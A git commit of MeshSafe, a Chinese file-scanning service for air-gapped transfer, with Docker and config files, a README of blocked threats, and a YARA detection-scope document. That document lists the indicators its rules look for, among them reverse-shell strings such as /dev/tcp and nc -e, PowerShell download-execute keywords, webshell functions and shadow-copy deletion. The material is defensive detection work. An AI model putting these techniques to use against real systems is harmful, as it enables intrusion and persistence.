feat: MeshSafe 文件摆渡安全卫士 v1.0 初始提交

核心功能:
- 6 层检测管线: L0 结构分析 → L1 ClamAV → L2 文档深度检测 → L3 关键词匹配 → L4 YARA → L5 PE/二进制
- FastAPI + PostgreSQL + Redis + Docker Compose 架构
- 客户端 HMAC-SHA256 签名鉴权 + 限流 + 幂等性
- 控制台 UI (登录/Dashboard/诊断中心/策略管理/任务列表/测试中心/产品介绍页)
- 三层诊断定时器 (error_scan 30s / db_aggregate 30s / container_check 5min)

并发与稳定性修复:
- 诊断定时器 Redis 时间槽位锁 (多 worker 同一槽位只有一个执行)
- JSONL 存储 fcntl 跨进程排他锁 + 容错解码 + 原子重写
- 移除 SQLite fallback, 统一 PostgreSQL
- API_CLIENTS 脱敏为环境变量, .env 已 .gitignore
This commit is contained in:
2026-10-28 19:07:11 +08:00
commit 16f134e328
113 changed files with 24604 additions and 0 deletions

21
.dockerignore Normal file
View File

@@ -0,0 +1,21 @@
__pycache__/
*.pyc
*.pyo
.env
.git/
.gitignore
.idea/
.vscode/
*.md
logs/
*.log
/tmp/
*.tmp
# 测试脚本和冒烟代码(不打镜像)
tests/*.py
tests/*_test*.py
tests/run_*.py
tests/smoke.py
scripts/verify_*.py
scripts/debug_*.py

50
.env.example Normal file
View File

@@ -0,0 +1,50 @@
# =============================================================================
# MeshSafe 生产部署环境变量(示例模板)
# 复制为 .env 后填入真实值(master_key + db_password + admin_password 必须改)
# =============================================================================
#
# docker-compose.yml 会自动加载同级 .env 文件。
# Settings 类(app/config.py)通过 pydantic_settings 读取,前缀 MESHSAFE_。
#
# 字段分三类:
# ── 必填(缺失启动报错)────────────
# MESHSAFE_MASTER_KEY 主密钥(base64 ≥ 32 字节)—— 密码哈希/HMAC 签名/HKDF 派生都用它
# MESHSAFE_DB_PASSWORD PostgreSQL 密码 —— 与 compose postgres.POSTGRES_PASSWORD 保持一致
# MESHSAFE_ADMIN_PASSWORD 默认管理员初始密码 —— scripts/init_db.py 首次建 admin 时使用
#
# ── docker-compose.yml 内置(API 服务会注入)──
# MESHSAFE_DB_URL =postgresql+psycopg://meshsafe:<DB_PASSWORD>@postgres:5432/meshsafe
# MESHSAFE_CLAMAV_HOST =clamav
# MESHSAFE_CLAMAV_PORT =3310
# MESHSAFE_REDIS_URL =redis://redis:6379/0
#
# ── 可选(有合理默认值)──────────
# MESHSAFE_ENV prod | dev
# MESHSAFE_HOST 0.0.0.0
# MESHSAFE_PORT 8443
# MESHSAFE_LOG_LEVEL DEBUG | INFO | WARNING | ERROR
# MESHSAFE_LOG_DIR /var/log/meshsafe
# MESHSAFE_WORKERS 2(异步扫描后台 worker 数)
# MESHSAFE_RULES_DIR /app/rules(YARA 规则目录)
# MESHSAFE_POLICY_FILE /app/config/policy.yaml
#
# ---------- master_key 生成 ----------
# python -c "import base64, os; print(base64.b64encode(os.urandom(32)).decode())"
# =============================================================================
# ---------- 必填 ----------
MESHSAFE_MASTER_KEY=CHANGE_ME_GENERATE_WITH_COMMAND_ABOVE
MESHSAFE_DB_PASSWORD=CHANGE_ME_DB_PASSWORD
MESHSAFE_ADMIN_PASSWORD=CHANGE_ME_ADMIN_PASSWORD
# ---------- 可选 ----------
MESHSAFE_ENV=prod
MESHSAFE_LOG_LEVEL=INFO
MESHSAFE_LOG_DIR=/var/log/meshsafe
MESHSAFE_WORKERS=2
MESHSAFE_RULES_DIR=/app/rules
MESHSAFE_POLICY_FILE=/app/config/policy.yaml
MESHSAFE_HOST=0.0.0.0
MESHSAFE_PORT=8443

56
.gitignore vendored Normal file
View File

@@ -0,0 +1,56 @@
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
*.egg-info/
*.egg
dist/
build/
.eggs/
*.whl
# 环境与密钥
.env
.env.local
.env.*.local
# 日志
/var/log/meshsafe/
*.log
# 临时文件
/tmp/meshsafe/
*.tmp
*.temp
# IDE
.idea/
.vscode/
*.swp
*.swo
.project
# 系统
.DS_Store
Thumbs.db
# 数据库
*.db
# 运行数据(Postgres/Redis 数据、ClamAV 签名库、日志、诊断历史)
/data/
# 压测产物
benchmark_report*.json
out.json
# 截图
/.screenshots/
# 测试
.coverage
htmlcov/
.pytest_cache/
.mypy_cache/
.ruff_cache/

53
Dockerfile Normal file
View File

@@ -0,0 +1,53 @@
# ---- 构建阶段 ----
FROM python:3.12-slim AS builder
WORKDIR /app
# 系统依赖:python-magic、ClamAV 客户端、编译工具
RUN apt-get update && apt-get install -y --no-install-recommends \
libmagic1 libmagic-dev \
clamav clamav-daemon \
&& rm -rf /var/lib/apt/lists/*
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
# ---- 运行阶段 ----
FROM python:3.12-slim
WORKDIR /app
# 系统运行时依赖
RUN apt-get update && apt-get install -y --no-install-recommends \
libmagic1 clamav clamav-daemon ca-certificates \
&& rm -rf /var/lib/apt/lists/* \
&& groupadd -r meshsafe && useradd -r -g meshsafe -d /app meshsafe
COPY --from=builder /usr/local/lib/python3.12/site-packages /usr/local/lib/python3.12/site-packages
COPY --from=builder /usr/local/bin /usr/local/bin
# 应用代码
COPY app/ ./app/
COPY config/policy.yaml ./config/policy.yaml
COPY config/diagnostics.yaml ./config/diagnostics.yaml
COPY scripts/ ./scripts/
COPY static/ ./static/
COPY tests/ ./tests/
# 日志目录、临时目录
RUN mkdir -p /var/log/meshsafe /tmp/meshsafe /app/rules \
&& chown -R meshsafe:meshsafe /app /var/log/meshsafe /tmp/meshsafe
ENV PYTHONUNBUFFERED=1 \
PYTHONDONTWRITEBYTECODE=1 \
MESHSAFE_LOG_DIR=/var/log/meshsafe \
MESHSAFE_TEMP_ROOT=/tmp/meshsafe
USER meshsafe
EXPOSE 8443
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:8443/api/v1/health', timeout=3).read()" || exit 1
CMD ["sh", "-c", "uvicorn app.main:app --host 0.0.0.0 --port 8443 --workers ${UVICORN_WORKERS:-1}"]

198
README.md Normal file
View File

@@ -0,0 +1,198 @@
# MeshSafe · 文件安全检测服务
> **光闸摆渡场景下的独立文件安全守门员。** 外网文件进来之前,先过 MeshSafe。
---
## 一句话介绍
MeshSafe 是一套独立部署的文件安全检测服务,专为光闸内外网摆渡场景设计。它不修改、不清洗文件,只做一件事:**判断"这个文件能不能传进内网"**,把检测结论交还给摆渡系统决定。
一期只做 **外网 → 内网** 方向——保护内网不被外网文件伤到。
---
## 它能做什么
### 三层风险把关
| 维度 | 回答的问题 | 举个例子 |
|---|---|---|
| **恶意性检测** | 这个文件本身是不是病毒、木马、勒索? | 已知病毒签名、家族特征 |
| **可执行性拦截** | 这个文件打开会不会自动跑代码? | 带宏的 Word、带脚本的 PDF、快捷方式 |
| **合规性校验** | 这个文件在传输层面有没有问题? | 路径穿越、压缩炸弹、伪装扩展名 |
### 两种判定结果
- **机器执行**:告诉摆渡系统"放行 / 拒绝 / 转人工复核"
- **人工提示**:告诉最终打开文件的内网用户"打开时要注意什么"(比如"此文件包含宏,请勿启用")
两条结论独立返回——系统的事归系统,人的事归人。
---
## 它能拦住什么
以下是 MeshSafe 一期覆盖的全部核心风险场景:
### 文档类最常见风险
| 文件类型 | 风险场景 | MeshSafe 的处置 |
|---|---|---|
| Word / Excel / PPT (.docm / .xlsm / .pptm) | 打开即执行的宏,自动下载病毒、调用系统命令、关闭安全软件 | **零容忍直接拦截**,不走过场 |
| Word / Excel / PPT | 宏代码被故意混淆或加密,意图不可知 | **零容忍直接拦截** |
| Word / Excel (RTF) | DDE / DDEAUTO 字段——打开即启动程序 | **零容忍直接拦截** |
| PDF | 打开即执行的 JavaScript 脚本 | **零容忍直接拦截** |
| PDF | LaunchAction——打开即启动外部程序 | **零容忍直接拦截** |
| 所有 Office 文档 | 包含外部模板注入——借模板执行恶意代码 | **零容忍直接拦截** |
| 所有 Office 文档 | 嵌入了可执行文件的 OLE 对象 | **零容忍直接拦截** |
### 快捷方式与容器类风险
| 文件类型 | 风险场景 | MeshSafe 的处置 |
|---|---|---|
| 快捷方式 (.lnk) | 指向程序执行 / 远程路径 / 脚本 | **零容忍直接拦截** |
| 帮助文件 (.chm) | 包含可执行脚本 | **零容忍直接拦截** |
| 光盘镜像 (.iso) | 内部包含可执行文件——双击挂载后直接运行 | **零容忍直接拦截**,挂载后递归扫描内部 |
| 压缩包 (.zip / .rar / .7z 等) | 解压路径穿越——试图写出解压目录,覆盖系统文件 | **零容忍直接拦截** |
| 压缩包 | 压缩炸弹——几 KB 解压出几百 MB 甚至上 GB,耗尽服务器资源 | 拦截并报警 |
| 压缩包 | 解压深度超过 5 层,内部包含可执行文件 | 自动进入下一轮检测 |
### 伪装与迷惑类风险
| 风险场景 | MeshSafe 的处置 |
|---|---|
| 双扩展名伪装:`invoice.pdf.exe` 实际是程序 | 识破真实类型,拦截 |
| 图标伪装:可执行文件用 PDF 图标诱导用户双击 | 识破真实类型,拦截 |
| 声明扩展名与真实类型不一致 | 拦截并标记 |
| 文件名用 Unicode 欺骗(西里尔字母替换拉丁字母) | 识破并标记 |
### 链接与二维码分级处置
| 情形 | MeshSafe 的处置 |
|---|---|
| 文档/图片中的链接命中恶意地址库 | **零容忍直接拦截** |
| 链接指向非常规端口 / IP 直连 / 短链服务 | 标记为可疑,转人工复核 |
| 二维码解码后内容为上述情形 | 同上 |
| 普通 http / https 链接 | 放行但提示"请确认来源" |
### 加密文件处理
| 情形 | MeshSafe 的处置 |
|---|---|
| 加密的 Office 文档 | 默认拒绝——无法确认内部安全 |
| 加密的压缩包 | 默认拒绝——无法确认内部安全 |
### Linux 桌面环境特有威胁(一期重点覆盖)
内网终端是麒麟桌面/UOS(纯 Linux),因此 Linux 特有威胁载体必须覆盖:
| 威胁场景 | 风险说明 | MeshSafe 的处置 |
|---|---|---|
| Linux 原生可执行文件(ELF) | 传统杀毒不认识,可直接在终端运行 | **零容忍直接拦截** |
| Linux 快捷方式(.desktop 文件) | 看起来是桌面图标,实际 `Exec=` 字段可指向任意命令 | **零容忍直接拦截**,校验 Exec 字段是否含 shell 调用、下载器 |
| Shell / Python / Perl / Ruby 脚本 | 双击可执行,含恶意系统调用(下载、反弹 Shell) | **零容忍直接拦截**,识别危险函数 |
| AppImage / Flatpak / Snap 便携包 | 跨发行版可执行格式,双击即运行 | **零容忍直接拦截**,内部递归扫描 |
| 压缩包内混有 shell 脚本 / .run / .bin | 解压后用户容易误执行 | 自动进入下一轮检测 |
> **纵深防御**:虽然内网是 Linux,Windows 专属载体(快捷方式 .lnk、帮助文件 .chm)仍保持检测——文件可能通过其他路径流向运维人员的 Windows 工作站。
---
## 方案亮点(为什么 MeshSafe 和传统杀毒不一样)
### 亮点一:「打开即执行」载体零容忍——独立于评分体系
传统杀毒的逻辑是:**是不是已知恶意样本?** 匹配不到签名就放行。
但在光闸场景里,真正的高频风险不是"已知病毒",而是**"打开就自动运行"的载体**——宏文档、DDE 字段、LNK 快捷方式。这类东西杀毒扫出来说"干净",但用户双击后宏即刻执行。
MeshSafe 的逻辑反过来:**只要存在打开即执行的载体,就零容忍拦截**。这是一条独立于评分体系的硬性清单——不累计权重、不走过场,命中即拒。
### 亮点二:宏行为分级——不是"有没有宏",而是"宏做了什么"
内网人员需要打开带宏的公文模板(自动编号、签章定位等),不能简单地把"含宏"等同于"拒绝"。
MeshSafe 会**分析宏的实际行为**:
| 宏的行为 | MeshSafe 判定 |
|---|---|
| 自动执行 + 调用系统命令 / 外联网络 | **零容忍拒绝** |
| 宏代码被混淆 / 加密(意图不可知) | **零容忍拒绝** |
| 自动执行 + 仅本地无害操作(编号、排版) | **放行或标记** |
| 无自动执行,仅手动触发 | 标记放行 / 转复核 |
### 亮点三:合法公文模板例外——五道保险受控放行
对于业务上确实需要打开的合法宏模板,MeshSafe 提供**受控的例外机制**,但有五道保险:
| 保险 | 怎么防绕过 |
|---|---|
| **指纹绑定** | 例外按文件内容精确匹配,换一个字节就失效 |
| **文件名匹配** | 指纹 + 文件名双重校验,防止不同文件复用 |
| **必须到期** | 所有例外必须有到期时间,最长不超过一年 |
| **审批留痕** | 谁批的、为什么批、批了什么,全部留痕可追溯 |
| **行为前提** | 就算在例外清单里,如果宏检测到危险行为(调用 Shell、下载文件),照样触发零容忍 |
### 亮点四:打开风险独立提示
检测结论分两层:
- **系统判定层**:摆渡系统看这个——放行 / 拒绝 / 转复核
- **人工提示层**:内网用户看这个——"此文件包含宏,请勿启用"、"请勿直接双击此 ISO 文件"
两层独立演进。即使摆渡系统选择忽略人工提示字段,内网侧安全审计面板也能单独展示。
### 亮点五:防篡改审计
所有检测记录、策略变更、例外增删都进入**链式审计日志**——每条记录的哈希值包含前一条记录的哈希。任何一条被篡改,后续链全部断裂可检出。
---
## 完整的检测能力清单(一期)
| 能力 | 覆盖范围 |
|---|---|
| 真实文件类型识别(不信任扩展名) | 全部文件 |
| 递归安全解包(最多 5 层) | 常见压缩格式 |
| 已知恶意样本特征匹配 | 全部文件 |
| 宏代码提取与行为分析 | Word / Excel / PPT 全系列 |
| DDE / DDEAUTO 自动执行检测 | 复合文档 |
| PDF 脚本与动作检测 | PDF |
| 文档内嵌文件检测 | 复合文档 |
| 文档深度解析 | 外部链接、模板注入、隐藏变量 |
| 快捷方式深度解析 | 目标路径、参数、远程链接 |
| 帮助文件类型校验 | 结构完整性检测 |
| 光盘镜像挂载后递归扫描 | 内部可执行文件检测 |
| 未知恶意样本家族匹配 | 可执行程序 / 脚本 / 内存马 |
| 可执行程序结构分析 | 异常特征、签名目录、导入表 |
| 外部链接与二维码提取 | 文档和图片 |
| 恶意链接库查询 | 分级处置 |
| 零容忍规则集(15 条) | 打开即执行载体全覆盖 |
| 宏行为例外机制 | 合法公文模板受控放行 |
| 引擎故障安全降级 | 任何检测引擎不可用时整体拒绝(安全优先) |
| 同步 + 异步双模式 | 小文件同步返回,大文件异步轮询 |
| 策略热重载 | 改配置不用重启 |
| 控制台权限分级 | 管理员 / 运维 / 只读三档 |
| 防篡改审计日志 | 链式哈希校验,任何一条被改后续全部断裂可检出 |
| 签名库版本追踪 | 检测有效性可举证 |
---
## 未来可支持的扩展方向
以下方向**架构已预留,但一期不实现**:
| 方向 | 价值 | 启动前提 |
|---|---|---|
| **内网 → 外网内容审计** | 判断内部内容是否允许外传(涉密 / 隐私 / 违规) | 需先明确业务密级规则和具体场景,与一期的"技术判据"属不同问题域 |
| **动态沙箱深检** | 在隔离环境中实际运行可疑文件,观察行为(释放文件、外联 C2 等) | 需要 Windows 虚拟化环境 + 国产化终端适配验证;场景收益有限(一期以文档为主) |
| **大模型语义分析** | 辅助识别诱导话术、仿冒公文模板、上下文关联钓鱼 | 需要内网推理算力;大模型输出仅作为辅助信号,不单独裁决 |
| **更多零容忍规则** | 随新威胁形态出现,可向规则清单中增量添加 | 规则必须满足"命中即有害 + 可稳定判定"的准入条件 |
| **内网特征词表引擎** | 识别内网特有的模板、关键词、命名规律,辅助例外判断和伪装识别 | 一期已有初步框架,可独立推进 |
> 所有扩展方向的接口和数据结构在一期架构中**已预留扩展位**,未来接入无需重构。
---
*文档版本:v1.0(方案稿)*
*更多技术细节请参阅 [总体方案](docs/00-总体方案.md) 和 [接口文档](docs/接口文档.md)*

102
YARA检测范围_L2B.md Normal file
View File

@@ -0,0 +1,102 @@
# YARA 检测范围说明(L2B 层)
> 本文档只界定 L2B 层 YARA 引擎的检测范围:要覆盖哪些威胁、靠什么特征锚定、哪里容易误报。不含其它防御层与实现代码,可直接作为规则设计依据与验收清单。
---
## 一、YARA 定位与边界
YARA 是基于字节 / 字符串 / 结构特征的模式匹配,强项是已知家族的变体、可疑特征组合、静态可提取的载荷。
- **擅长**:已知家族变体、可疑 API / 字符串组合、文档与脚本类静态载荷。
- **不擅长**:纯多态加壳、纯运行时行为、加密封装(这些交给 L1 杀毒库与 L3 沙箱)。
- **设计目标**:补齐 ClamAV 特征库更新慢的盲区,并覆盖文档 / 脚本这类杀毒库不敏感的载体。
核心原则:单一 API 或字符串命中不阻断,要求"特征组合"才判高危,否则误报率失控。
---
## 二、检测范围总览(9 大类)
| 编号 | 覆盖大类 | 检查对象 | YARA 主力程度 |
|---|---|---|---|
| C1 | Windows PE 恶意程序 | .exe / .dll / .sys、DLL 劫持 | 是 |
| C2 | 脚本木马 | .ps1 / .vbs / .js / .bat / .hta / .lnk | 是 |
| C3 | Webshell / 内存马 | .jsp/.jspx/.php/.asp/.aspx、反序列化 payload | 是 |
| C4 | Office 文档载荷 | .doc/.xls/.ppt(宏 / DDE) | 是 |
| C5 | PDF 载荷 | .pdf | 是 |
| C6 | 压缩包 / 嵌套展开 | .zip/.rar/.7z/.cab/.iso | 辅助 |
| C7 | Linux / 跨平台后门 | ELF / Shell / Python / 计划任务 | 是 |
| C8 | 勒索 / 挖矿专项 | 通用载体 | 是 |
| C9 | 壳 / 签名 / 结构异常 | PE 结构元数据 | 是 |
---
## 三、逐类详细范围
### C1 Windows PE 恶意程序
- **防**:下载器、远控(RAT)、注入器、Loader、服务后门。
- **锚点方向**:危险导入 API 组合(`URLDownloadToFile` / `InternetOpen` / `WinHttp*` + `CreateRemoteThread` / `WriteProcessMemory` / `VirtualAllocEx` + `RegSetValueEx` / `schtasks` / 服务 API);可疑字符串(C2 URL/IP、互斥体 Mutex 名、隐藏进程标志 `CREATE_NO_WINDOW`)。
- **关键原则**:必须"网络 + 注入 / 持久化"特征组合命中才报高危。
- **范围须含**:DLL 侧加载、白利用二进制(LOLBins)调用特征。
### C2 脚本木马
- **防**:无文件落地、PowerShell 下载执行、混淆脚本。
- **锚点方向**:`-enc` / `-e`(Base64 编码命令)、`FromBase64String`、`IEX` / `Invoke-Expression`、`DownloadString`、`New-Object Net.WebClient`、`-w hidden` / `-nop`;`mshta` / `rundll32` / `regsvr32` / `certutil -decode` 等 LOLBin 组合;VBS 的 `CreateObject("Wscript.Shell")` + `Run`;HTA 里的 `<script>` + ActiveX。
- **专项**:编码 / 混淆还原特征(超长 Base64 串、字符串拼接、`char[]` 逐字符构造)。
### C3 Webshell / 内存马(重点范围)
- **JSP/JSpx**:`Runtime.getRuntime().exec`、`ProcessBuilder`、`InputStreamReader` + 请求参数取值、`javax.crypto` 解密后执行、反射 `forName` + `getMethod`、冰蝎 / 哥斯拉 / antsword 加密通道特征。
- **PHP**:`eval` / `assert` / `create_function` / `preg_replace(/e)`、`$_GET/POST/REQUEST` 直接进执行函数、`base64_decode` + `eval`、变量变形、`str_rot13` / `gzinflate` 多层解码。
- **ASP / .NET**:`Execute` / `Eval` / `Server.CreateObject("Wscript.Shell")`、`Process.Start`、反射 `Activator.CreateInstance`。
- **内存马**:注入 Filter / Listener / Interceptor / Valve 的关键类名与包名(`javax.servlet.Filter`、`StandardContext`、`addFilterDef`、`ApplicationFilterConfig`)、Agent / Instrumentation 注入痕迹。
- **反序列化载荷**:CommonsCollections / Gadgets 类链关键字、`ysoserial` 相关类名。
### C4 Office 文档载荷
- **VBA 宏**:`AutoOpen` / `AutoExec` / `Document_Open` 自动执行、`Shell` / `CreateObject` / `Wscript.Shell` / `MSXML2.XMLHTTP`、`Environ` + `cmd`。
- **其他载荷**:DDE / DDEAUTO、`FieldCode`、`INCLUDEPICTURE` 外链、OLE 嵌入、ActiveX `ObjectPool`、公式注入 `=cmd|` / `|MSDSNC` / `=WEBSERVICE`。
- **范围须含**:`.docm` / `.xlsm` / `.dotm` 等带宏标记文件强制深检。
### C5 PDF 载荷
- **自动执行结构**:`/OpenAction` / `/AA` / `/JS` / `/JavaScript` + `app.launchURL` / `eval` / `util`;嵌入附件 `/EmbeddedFile` / `/Launch`。
- **漏洞利用特征**:超长 `/Length`、异常 `/Filter` 链、`/ObjStm` 混淆、`collab` / `getAnnots` 触发。
### C6 压缩包 / 嵌套展开(在解压产物上跑)
- **范围**:递归解包后对内部每个文件套用 C1–C5 规则;对压缩包本身检测嵌套层数过深、同名伪装(`photo.jpg.exe` 解包后二次校验)。
- **交接面**:YARA 负责解出来的内容,L0 extractor 负责包结构炸弹。
### C7 Linux / 跨平台后门
- **反弹 Shell**:`/dev/tcp/`、`bash -i`、`nc -e`、`socat`、`python pty`、`perl -e 'exec'`。
- **持久化**:`crontab` / `/etc/cron`、`.bashrc` / `.ssh/authorized_keys` 写入、`systemd` unit。
- **挖矿 / Rootkit**:`xmrig` / `stratum+tcp`、`/tmp/.X11-unix` 隐藏目录、`LD_PRELOAD`、内核模块加载特征。
### C8 勒索 / 挖矿专项
- **勒索**:加密 API 组合(`CryptEncrypt` / `CryptDeriveKey` / `BCrypt*`)+ 大量文件遍历 / 删除卷影(`vssadmin delete` / `wmic shadowcopy`)+ 勒索信文件名变体(`HOW_TO_RECOVER` / `RESTORE_FILES` 等)。
- **挖矿**:矿池域名 / 端口、`-o stratum`、`--donate-level`、高 CPU 循环特征字符串。
### C9 壳 / 签名 / 结构异常(元数据型规则)
- **范围**:PE 段名异常(乱码段名、`.pdata` 缺失)、入口点落在非代码段、高熵 `.text` 段、无签名却调用大量网络 API、证书链断裂 / 自签名、时间戳伪造。
- **价值**:作为"送沙箱的触发器",命中即升级为 L3 动态分析。
---
## 四、范围之外(明确划走,YARA 不硬扛)
- 加密 / 加壳后无明文特征 → 靠沙箱或 CDR。
- 已知病毒的精确家族匹配 → 优先 ClamAV 库,YARA 只做补充。
- 纯行为(如"程序遍历全盘加密")→ 靠沙箱 / EDR,YARA 只抓静态可锚的命令与字符串。
- 敏感信息泄露 → 属 DLP(如 Presidio),不属于 YARA 安全检测范围。
---
## 五、规则工程化范围(让范围可维护)
- **元数据强制字段**:`risk_level`、`category`(对应 C1–C9)、`false_positive_rate`(低 / 中 / 高,决定是否阻断还是仅告警)、`reference`。
- **分级放行策略**:`high` / `critical` 可阻断;`medium` 告警 + 进沙箱;`low` 仅记录。避免范围铺得越全、误杀越多。
- **命名空间分组**:按 C1–C9 分文件(`pe.yar` / `script.yar` / `webshell.yar` / `doc.yar` / `pdf.yar` / `linux.yar` / `ransom.yar` 等),便于灰度和单独更新。
- **性能约束纳入范围**:正则 / 通配规则限制扫描文件大小与超时,大文件只在头部 + 样本区匹配,防止 YARA 成为 L2B 的时延瓶颈。
- **持续更新机制**:新家族 / 新工具(新 Webshell 工具、新 LOLBin)→ 补规则,与 ClamAV 库一样纳入库运维节奏。
---
内容由 AI 生成

3
app/__init__.py Normal file
View File

@@ -0,0 +1,3 @@
"""MeshSafe 文件安全检测服务。"""
__version__ = "0.1.0"

150
app/config.py Normal file
View File

@@ -0,0 +1,150 @@
"""应用配置加载。
所有配置项均以 ``MESHSAFE_`` 前缀从环境变量读取,敏感项不提供默认值,
缺失时启动即报错,避免出现"用默认弱口令上线"的情况。
"""
from __future__ import annotations
import base64
import functools
from typing import Dict, List, Optional
from pydantic import Field, field_validator
from pydantic_settings import BaseSettings, SettingsConfigDict
class Settings(BaseSettings):
model_config = SettingsConfigDict(
env_prefix="MESHSAFE_",
env_file=".env",
env_file_encoding="utf-8",
extra="ignore",
)
# 运行环境
env: str = "production"
log_level: str = "INFO"
timezone: str = "Asia/Shanghai"
# 服务监听
host: str = "0.0.0.0"
port: int = 8443
root_path: str = "/"
# 基础设施
db_url: str
db_echo: bool = False
redis_url: str = "redis://redis:6379/0"
# 主密钥
master_key: str
# API 调用方
api_clients: str = ""
signature_window: int = 300
require_signature: bool = True
sign_response: bool = True
# 控制台
admin_username: str = "admin"
admin_password: str
login_max_attempts: int = 5
login_lock_minutes: int = 15
session_timeout_minutes: int = 30
# ClamAV
clamav_host: str = "clamav"
clamav_port: int = 3310
clamav_timeout: int = 120
clamav_use_clamd: bool = True
# 策略
policy_file: str = "/app/config/policy.yaml"
rules_dir: str = "/app/rules"
sandbox_enabled: bool = False
# 文件处理
max_upload_mb: int = 2048
max_extract_depth: int = 5
max_extract_total_mb: int = 4096
max_extract_ratio: int = 100
temp_ttl_minutes: int = 60
# 合规
audit_retention_days: int = 180
audit_hash_chain: bool = True
report_retention_days: int = 180
# TLS
enable_tls: bool = False
tls_cert_file: str = "/app/certs/server.crt"
tls_key_file: str = "/app/certs/server.key"
trusted_proxy_count: int = 1
@field_validator("master_key")
@classmethod
def _validate_master_key(cls, v: str) -> str:
try:
raw = base64.b64decode(v, validate=True)
except Exception as exc: # noqa: BLE001
raise ValueError("MESHSAFE_MASTER_KEY 必须是合法的 base64 字符串") from exc
if len(raw) < 32:
raise ValueError("MESHSAFE_MASTER_KEY 解码后长度不得少于 32 字节")
return v
@field_validator("policy_file")
@classmethod
def _normalize_policy_file(cls, v: str) -> str:
return v.strip()
@property
def master_key_bytes(self) -> bytes:
return base64.b64decode(self.master_key, validate=True)
@property
def max_upload_bytes(self) -> int:
return self.max_upload_mb * 1024 * 1024
@property
def max_extract_total_bytes(self) -> int:
return self.max_extract_total_mb * 1024 * 1024
@property
def parsed_api_clients(self) -> List[Dict[str, str]]:
"""解析 ``client_id:secret,client_id2:secret2`` 形式的调用方清单。"""
result: List[Dict[str, str]] = []
for item in self.api_clients.split(","):
item = item.strip()
if not item:
continue
if ":" not in item:
raise ValueError(f"非法的 API 调用方配置项: {item!r}")
client_id, secret = item.split(":", 1)
client_id = client_id.strip()
secret = secret.strip()
if not client_id or not secret:
raise ValueError(f"非法的 API 调用方配置项: {item!r}")
result.append({"client_id": client_id, "secret": secret})
return result
def redacted(self) -> Dict[str, object]:
"""用于 /health 等接口展示的脱敏配置快照。"""
return {
"env": self.env,
"require_signature": self.require_signature,
"sign_response": self.sign_response,
"signature_window": self.signature_window,
"max_upload_mb": self.max_upload_mb,
"max_extract_depth": self.max_extract_depth,
"max_extract_ratio": self.max_extract_ratio,
"sandbox_enabled": self.sandbox_enabled,
"audit_retention_days": self.audit_retention_days,
"audit_hash_chain": self.audit_hash_chain,
"api_clients_count": len(self.parsed_api_clients),
}
@functools.lru_cache(maxsize=1)
def get_settings() -> Settings:
return Settings() # type: ignore[call-arg]

1782
app/console.py Normal file

File diff suppressed because it is too large Load Diff

41
app/db.py Normal file
View File

@@ -0,0 +1,41 @@
"""数据库连接与会话管理。"""
from __future__ import annotations
from typing import Generator
from sqlalchemy import create_engine
from sqlalchemy.orm import DeclarativeBase, Session, sessionmaker
from app.config import get_settings
class Base(DeclarativeBase):
pass
_settings = get_settings()
import os as _os
_pool_size = int(_os.environ.get("DB_POOL_SIZE", "20"))
_max_overflow = int(_os.environ.get("DB_MAX_OVERFLOW", "30"))
_engine_kwargs: dict = dict(
echo=_settings.db_echo,
future=True,
pool_pre_ping=True,
pool_size=_pool_size,
max_overflow=_max_overflow,
)
engine = create_engine(_settings.db_url, **_engine_kwargs)
SessionLocal = sessionmaker(bind=engine, autoflush=False, autocommit=False, future=True)
def get_db() -> Generator[Session, None, None]:
db = SessionLocal()
try:
yield db
finally:
db.close()

View File

@@ -0,0 +1,11 @@
"""MeshSafe Diagnostics Kit v1.0 — 运行时模块。"""
from app.diagnostic.config import DiagConfig, get_diag_config
from app.diagnostic.engine import DiagnosticEngine, RuleResult
__all__ = [
"DiagConfig",
"get_diag_config",
"DiagnosticEngine",
"RuleResult",
]

171
app/diagnostic/config.py Normal file
View File

@@ -0,0 +1,171 @@
"""MeshSafe Diagnostics Kit — 配置读取。
所有配置项可被环境变量覆盖(``MESHSAFE_DIAG_*`` 前缀),
优先级:环境变量 > diagnostics.yaml > 默认值。
"""
from __future__ import annotations
import functools
import os
from pathlib import Path
from typing import Any, Dict
import yaml
_PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent
_DEFAULT_YAML = _PROJECT_ROOT / "config" / "diagnostics.yaml"
def _load_yaml(path: Path) -> Dict[str, Any]:
"""读取 YAML 配置,文件不存在返回空 dict。"""
try:
with open(path, "r", encoding="utf-8") as f:
data = yaml.safe_load(f) or {}
return data.get("diagnostics", {}) if isinstance(data, dict) else {}
except FileNotFoundError:
return {}
except Exception: # noqa: BLE001
return {}
def _env_bool(name: str, default: bool) -> bool:
v = os.environ.get(name)
if v is None:
return default
return v.strip().lower() in ("1", "true", "yes", "on")
def _env_int(name: str, default: int) -> int:
v = os.environ.get(name)
if v is None:
return default
try:
return int(v)
except ValueError:
return default
def _env_str(name: str, default: str) -> str:
return os.environ.get(name, default)
@functools.lru_cache(maxsize=1)
def get_diag_config() -> "DiagConfig":
yaml_data = _load_yaml(_DEFAULT_YAML)
return DiagConfig.from_dict(yaml_data)
class DiagConfig:
"""诊断套件配置。"""
def __init__(self, yaml_data: Dict[str, Any]):
# 顶层开关
yaml_enabled = yaml_data.get("enabled", True)
self.enabled = _env_bool(
"MESHSAFE_DIAG_ENABLED", yaml_enabled
)
# Docker 子能力
docker_yaml = yaml_data.get("docker", {})
yaml_docker_mode = docker_yaml.get("enabled", "auto")
self.docker_mode = _env_str(
"MESHSAFE_DIAG_DOCKER", yaml_docker_mode
).lower()
if self.docker_mode not in ("auto", "true", "false"):
self.docker_mode = "auto"
# 定时器周期(秒)
timers_yaml = yaml_data.get("timers", {})
self.error_scan_interval = _env_int(
"MESHSAFE_DIAG_ERROR_INTERVAL",
timers_yaml.get("error_scan_interval", 30),
)
self.container_check_interval = _env_int(
"MESHSAFE_DIAG_CONTAINER_INTERVAL",
timers_yaml.get("container_check_interval", 300),
)
self.db_aggregate_interval = _env_int(
"MESHSAFE_DIAG_DB_INTERVAL",
timers_yaml.get("db_aggregate_interval", 60),
)
# 日志行数
self.docker_log_tail = int(yaml_data.get("docker_log_tail", 500))
self.export_log_tail = int(yaml_data.get("export_log_tail", 2000))
# 导出包数据范围
export_yaml = yaml_data.get("export", {})
self.export_db_span_days = int(export_yaml.get("db_span_days", 7))
self.export_scan_tasks_max = int(export_yaml.get("scan_tasks_max", 10000))
